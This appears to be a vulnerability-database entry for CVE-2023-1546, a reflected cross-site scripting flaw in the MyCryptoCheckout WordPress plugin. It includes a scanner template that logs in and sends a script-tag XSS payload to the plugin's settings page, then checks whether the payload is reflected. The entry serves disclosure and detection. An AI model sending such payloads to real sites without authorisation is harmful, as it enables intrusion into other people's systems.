CVE-2023-1546: MyCryptoCheckout < 2.124 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: MyCryptoCheckout | POC: 已公开

漏洞描述

The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.

PoC代码[已公开]

id: CVE-2023-1546

info:
  name: MyCryptoCheckout < 2.124 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 2.124
  reference:
    - https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1546
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1546
    cwe-id: CWE-79
    epss-score: 0.20497
    epss-percentile: 0.95362
    cpe: cpe:2.3:a:plainviewplugins:mycryptocheckout:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: plainviewplugins
    product: mycryptocheckout
    framework: wordpress
  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,wpscan,authenticated,plainviewplugins

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "scriptalert(/XSS/)/script")'
          - 'contains(body_2, "mycryptocheckout")'
        condition: and
# digest: 490a004630440220777a5b906547acea3fbd6c626cf03f858974c30703c10d1b225389c02b12771102207c4a9bc4ef151432e58d612d2278409f7d09426743135912426ac655c96d2b1f:922c64590222798bb761d5b6d8e72950